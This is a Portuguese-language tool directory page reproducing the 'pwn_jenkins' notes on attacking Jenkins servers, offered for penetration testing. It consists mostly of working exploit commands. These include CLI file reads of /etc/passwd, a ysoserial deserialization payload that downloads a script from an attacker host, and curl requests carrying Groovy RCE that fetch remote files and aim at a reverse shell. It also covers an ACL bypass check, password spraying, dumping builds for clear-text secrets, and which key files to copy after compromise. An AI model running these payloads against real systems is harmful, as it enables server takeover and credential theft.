Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
pwn_jenkins — Notas sobre como atacar servidores Jenkins | Kitploit
Ferramentas/GitHubGitHub/gquere/pwn_jenkins
Ataques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesPós-ExploraçãoTestes de PenetraçãoDetecção de SegredosDesenvolvimento de Payloads
GitHubgquere/pwn_jenkins

pwn_jenkins

2.1k32622há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Notas sobre como atacar servidores Jenkins

Ver Repositório

Execução Remota de Código

Leitura arbitrária via CLI do Jenkins (CVE-2024-23897 se aplica a versões anteriores à 2.442 e LTS 2.426.3)

Aviso do Jenkins, Créditos

Autenticado, é possível recuperar um arquivo completo:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

Não autenticado ou sem permissões Global/Read, só é possível ler 3 linhas: Leia a primeira linha:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

Leia a segunda linha:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

Leia a terceira linha:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

Como fazer bruteforce da chave de criptografia de credenciais.

RCE por desserialização em Jenkins antigo (CVE-2015-8103, Jenkins 1.638 e anteriores)

Use ysoserial para gerar um payload. Em seguida, execute o RCE usando este script:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Bypass de autenticação/ACL (CVE-2018-1000861, Jenkins <2.150.1)

Aviso do Jenkins

Detalhes aqui.

Se o Jenkins solicitar autenticação, mas retornar dados válidos usando a seguinte requisição, ele está vulnerável:

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

RCE por metaprogramação em plugins do Jenkins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Aviso do Jenkins

Vulnerabilidade RCE original aqui, exploit completo aqui.

RCE alternativo com permissões Overall/Read e Job/Configure aqui.

RCE via CheckScript no Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Aviso do Jenkins, Créditos.

Verifique se uma instância do Jenkins está vulnerável (requer permissões Overall/Read) com um pouco de Groovy:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Nota: Se você receber um erro 403 reclamando de um crumb ausente (que é uma proteção CSRF no Jenkins), você pode obter o valor do crumb com uma requisição GET para https://example.com/crumbIssuer/api/json. O valor do crumb deve então ser adicionado à requisição POST em um cabeçalho Jenkins-Crumb.

Execute comandos bash arbitrários:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

Se você não obtiver imediatamente um reverse shell, pode depurar lançando uma exceção:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

RCE no plugin Git (<3.12.0) do Jenkins (CVE-2019-10392)

Aviso do Jenkins, Créditos.

Este só funcionará se um usuário tiver os direitos 'Jobs/Configure' na matriz de segurança, portanto é bem específico.

CorePlague (CVE-2023-27898, CVE-2023-27905)

Aviso do Jenkins, Créditos

Observe que isso só é explorável se estiver usando um Update Center dedicado e desatualizado. Portanto, a maioria dos servidores não está vulnerável.

Extraindo builds para encontrar segredos em texto claro

Use este script para extrair saídas de console e variáveis de ambiente dos builds, na esperança de encontrar segredos em texto claro.

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

Spray de senhas

Use este script python ou este script powershell.

Arquivos para copiar após o comprometimento

Esses arquivos são necessários para descriptografar os segredos do Jenkins:

  • secrets/master.key
  • secrets/hudson.util.Secret

Esses segredos geralmente podem ser encontrados em:

  • credentials.xml
  • jobs/.../build.xml

Aqui está uma regexp para encontrá-los:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Extraindo credenciais LDAP em uma máquina comprometida

Baixar ferramenta